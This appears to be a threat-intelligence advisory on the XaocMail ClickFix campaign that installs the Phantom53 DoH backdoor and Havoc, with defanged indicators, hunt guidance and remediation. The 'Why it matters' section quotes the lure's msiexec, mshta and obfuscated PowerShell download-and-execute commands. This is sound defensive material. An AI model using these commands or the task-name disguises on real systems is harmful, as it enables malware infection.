XaocMail Phantom53
XaocMail ClickFix Campaign Dropping Phantom53 DoH C2 and Havoc
- Published
- 13 November 2026
- Added
- 13 November 2026, 14:18 UK
- Last updated
- 13 November 2026
47 to block now3 to hunt4 behaviours to hunt
Hunt3 platforms
Run the hunt before you block, to find past activity. The same hunt is published for each platform. Preview and copy the queries in the dashboard.
- Defender XDRKQLDefender portal > Hunting > Advanced hunting. Paste and run over 30 days.Download hunt.kql
- SplunkSPLSearch & Reporting, last 30 days or more. Reads the CIM data models.Download hunt.spl
- Google SecOpsYARA-L 2.0Rules Editor. Paste, Retrohunt over 30 days, then turn on live mode.Download hunt.yaral
These queries can return false positives. Know your environment and confirm a hit before acting.
Summary
A Russian-speaking actor uses ClickFix document lures to install Phantom53, a DNS-over-HTTPS backdoor that loads Havoc. SOCRadar's Threat Research Unit, writing on 13 November 2026, describes an active campaign by a Russian-speaking actor running since August 2026.
Do now
- Block the 47 indicators.
- Run the hunt.
- Check for explorer.exe.
Indicators 50
| Value | Type | Action | Copy |
|---|---|---|---|
185[.]224[.]132[.]148 | IPv4 | block | |
162[.]252[.]198[.]204 | IPv4 | block | |
162[.]252[.]199[.]92 | IPv4 | block | |
94[.]156[.]152[.]7 | IPv4 | block | |
145[.]63[.]138[.]67 | IPv4 | block | |
91[.]132[.]93[.]251 | IPv4 | block | |
hxxp://145[.]63[.…7:8125/up/ | URL | block | |
dns[.]timesyncser…2453[.]com | Domain | block | |
securedoc[.]maken…kers[.]dev | Domain | block | |
securedoc[.]mesut…kers[.]dev | Domain | block | |
linkrot[.]fypahed…kers[.]dev | Domain | block | |
cdn-analytics-p53…kers[.]dev | Domain | block | |
cdn-analytics-3f4…kers[.]dev | Domain | block | |
sync-node-serv[.]com | Domain | block | |
dns[.]cdn-syncnod…rver[.]com | Domain | block | |
cdn-assets-api[.]…kers[.]dev | Domain | block | |
cdn-assets-api[.]…kers[.]dev | Domain | block | |
cdn-assets-api[.]…kers[.]dev | Domain | block | |
cdn-assets-api[.]…kers[.]dev | Domain | block | |
a8f2aac37385[.]xyz | Domain | block | |
kfkwrfdd[.]xyz | Domain | block | |
544504d7fe1e[.]xyz | Domain | block | |
bestutyresdomaonupder[.]com | Domain | block | |
bestutyresdomaonupder[.]top | Domain | block | |
bestutyresdomaonu…2324[.]com | Domain | block | |
bceeb2d54b6a756c7…ae98c6da6d | SHA256 | block | |
79a4cb73983a1facb…b2190284ed | SHA256 | block | |
0e1c94a8f94158f64…c742e59fbb | SHA256 | block | |
efc4b8c1968c06e59…d696b6cb81 | SHA256 | block | |
4f656834e545c0b44…07b047e2b4 | SHA256 | block | |
8ebb2bf61b48ae7ab…6c0a3adf54 | SHA256 | block | |
a4ad001c6900176eb…df8099dbe8 | SHA256 | block | |
dc57638cb90798835…e07c5b6f8a | SHA256 | block | |
56582934901cce0b6…765ecde538 | SHA256 | block | |
009099ba10365b44b…ac9843e611 | SHA256 | block | |
0aff424f9a02eb9f4…93d20235d6 | SHA256 | block | |
7055483a77f679ad5…30add598b0 | SHA256 | block | |
0dcfe51d2521e52a4…3fd248d8b1 | SHA256 | block | |
bd1c005f35e4fd8c6…9c8d5e3564 | SHA256 | block | |
dbd252becd490ac47…eed751f477 | SHA256 | block | |
e9e57a57ee45b8faa…d2ef3b43f0 | SHA256 | block | |
d2d41b249905deae3…de8f0ca29b | SHA256 | block | |
ee5fa33b58d0f2772…f30f5e591a | SHA256 | block | |
a972797cc1a4161f6…051b817491 | SHA256 | block | |
47e853092511d9663…fcfa5f3db8 | SHA256 | block | |
4efe003a54db8ffba…344e97bc1d | SHA256 | block | |
9a2af4b6d9780e08c…af6d626546 | SHA256 | block | |
176[.]9[.]154[.]69 | IPv4 | alert | |
hxxps://gist[.]gi…tfile1.txt | URL | alert | |
hxxps://github[.]…update.zip | URL | alert |
Sources SOCRadar · ThreatFox · ThreatFox (2) · ThreatFox (3) · ThreatFox (4) · ThreatFox (5) · ThreatFox (6) · ThreatFox (7) · ThreatFox (8) · ThreatFox (9) · ThreatFox (10) · ThreatFox (11) · ThreatFox (12) · ThreatFox (13) · ThreatFox (14) · ThreatFox (15) · ThreatFox (16) · ThreatFox (17) · ThreatFox (18) · ThreatFox (19) · MalwareBazaar · MalwareBazaar (2) · MalwareBazaar (3) · MalwareBazaar (4) · MalwareBazaar (5) · MalwareBazaar (6) · MalwareBazaar (7) · MalwareBazaar (8) · MalwareBazaar (9) · MalwareBazaar (10) · MalwareBazaar (11) · MalwareBazaar (12) · MalwareBazaar (13) · MalwareBazaar (14) · MalwareBazaar (15) · MalwareBazaar (16) · MalwareBazaar (17) · MalwareBazaar (18) · MalwareBazaar (19) · MalwareBazaar (20)
More detail
What to do
- Block the attacker IPs, domains (each workers.dev host exactly as listed), the exfiltration URL on 145[.]63[.]138[.]67:8125 and all Phantom53 and Havoc hashes, and search 90 days of proxy, DNS, firewall and EDR logs for them.
- Alert on msiexec, mshta or PowerShell launched from the Run dialog with a workers.dev URL ending in /m?id=, /h?id= or /s?id=; isolate any host that hits.
- Hunt scheduled tasks that run pythonw.exe with a .pyw script from AppData, the files p53_task_a.xml or p53_task_b.xml, and pythonw.exe in AppData talking to DoH resolvers.
- On a confirmed host, remove both tasks and the random AppData Python folder, check HKCU\Software\Classes\CLSID for the beacon's state key, and reset the user's passwords and sessions.
- Reduce ClickFix risk: restrict the Run dialog and msiexec from URLs for standard users, and warn staff about paste-this-command pages behind document-sharing emails.
Behaviours to hunt 4
Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.
alert ClickFix Run-dialog msiexec, mshta or PowerShell from workers.dev
Look formsiexec, mshta or PowerShell started from the Run dialog (explorer.exe) with a workers.dev URL ending in /m?id=, /h?id= or /s?id=, or the reversed 'xei' Invoke-Expression trick
Why it mattersThe XaocMail ClickFix page tells the victim to paste a command into Win+R: msiexec /i hxxps://securedoc[.][name][.]workers[.]dev/m?id=[id] /qn (the current, preferred mode), mshta hxxps://[.][.][.]/h?id=, or powershell .(-join'xei'[-1..-3])((New-Object Net.WebClient).DownloadString('hxxps://[.][.][.]/s?id=')). Tuning: parent must be explorer.exe, the child msiexec, mshta, powershell or pwsh, and the command line must carry a workers.dev URL with one of the three payload paths and an id= parameter, or the reversed xei string. Expected false positives: very rare; legitimate installers are not launched by hand from a workers.dev URL. Treat any hit as initial access. SOCRadar
Log sourceDefender XDR DeviceProcessEvents; EDR process events
QueriesKQL · SPL · YARA-L
alert Scheduled task running pythonw.exe from AppData
Look forA scheduled task that runs pythonw.exe with a .pyw script from a randomly named folder under AppData
Why it mattersThe Phantom53 MSI drops a private Python 3.11 runtime into a random folder under %LOCALAPPDATA%, %APPDATA%, %APPDATA%\Microsoft or %LOCALAPPDATA%\Microsoft\WindowsApps and registers two tasks that run [folder]\pythonw.exe [random].pyw every 12 minutes (beacon) and every 3 minutes (watcher). Task names come from a pool: MicrosoftEdgeUpdateTask, OneDriveSyncTask, WindowsDefenderScheduledScan, OfficeBackgroundTaskHandler or AdobeAcrobatUpdateTask followed by one random character. Tuning: the task action must contain pythonw.exe and a .pyw file under AppData; standard Python installs (\Programs\Python\, Microsoft Store PythonSoftwareFoundation, Anaconda or Miniconda) are excluded. Expected false positives: a developer's own scheduled Python script run from a portable or venv folder in AppData; a task name from the pool with a pythonw.exe action is close to certain. SOCRadar
Log sourceDefender XDR DeviceEvents (ScheduledTaskCreated); Windows Security 4698; Task Scheduler operational log
QueriesKQL
alert p53_task_a.xml or p53_task_b.xml written
Look forFiles p53_task_a.xml or p53_task_b.xml written to the user's temp folder
Why it mattersWhen it is not elevated, Phantom53 writes %TEMP%\p53_task_a.xml and p53_task_b.xml and registers them with Register-ScheduledTask, which raises a UAC prompt showing a fake product name such as Node.js Runtime from OpenJS Foundation. The file names are specific to this malware. Expected false positives: none known. SOCRadar
Log sourceDefender XDR DeviceFileEvents; EDR file events
QueriesKQL · SPL · YARA-L
hunt pythonw.exe in AppData using DoH resolvers
Look forpythonw.exe running from a user AppData folder making DNS-over-HTTPS requests to public resolvers by IP or by dns.google
Why it mattersThe Phantom53 beacon hides its command and control in DNS AAAA answers fetched by DoH POST to 1[.]1[.]1[.]1, 1[.]0[.]0[.]1, 8[.]8[.]8[.]8, 8[.]8[.]4[.]4, 76[.]76[.]2[.]11 or 76[.]76[.]10[.]11 on port 443, falling back to SNI hosts such as dns.google and then to plain UDP 53. Tuning: the process must be pythonw.exe under AppData, outside standard Python installs (\Programs\Python\, PythonSoftwareFoundation, Anaconda, Miniconda). Expected false positives: a Python tool in a user profile that uses a DoH library; browsers and the OS resolver are not pythonw.exe. Do not block the resolvers; hunt the process. SOCRadar
Log sourceDefender XDR DeviceNetworkEvents; EDR network events; proxy logs
QueriesKQL
Affected countries and sectors
- Targets
- Brazil, Peru, India, Indonesia, Spain, Latin America, Asia, Europe
- Sectors
- Technology and IT, Finance, Education, Government, Logistics, Manufacturing
Background
SOCRadar's Threat Research Unit, writing on 13 November 2026, describes an active campaign by a Russian-speaking actor running since August 2026. XaocMail, a self-hosted phishing platform, sends personalised document-sharing emails from likely compromised mailboxes, linking to Cloudflare Worker ClickFix pages (securedoc subdomains on workers.dev). The victim pastes a Win+R command that runs an MSI (msiexec /i ... /qn), HTA or PowerShell payload. The MSI drops a private Python runtime in a random AppData folder and two scheduled tasks that run pythonw.exe: the Phantom53 beacon, which hides command and control in DNS-over-HTTPS AAAA answers from Cloudflare, Google and ControlD resolvers, and a watcher that loads a Havoc Demon in memory for chosen targets. Almost a thousand lures hit Latin America, Asia and Europe across technology, finance, education, government, logistics and manufacturing. Attacker servers, domains, the exfiltration URL and all malware hashes are on the block list.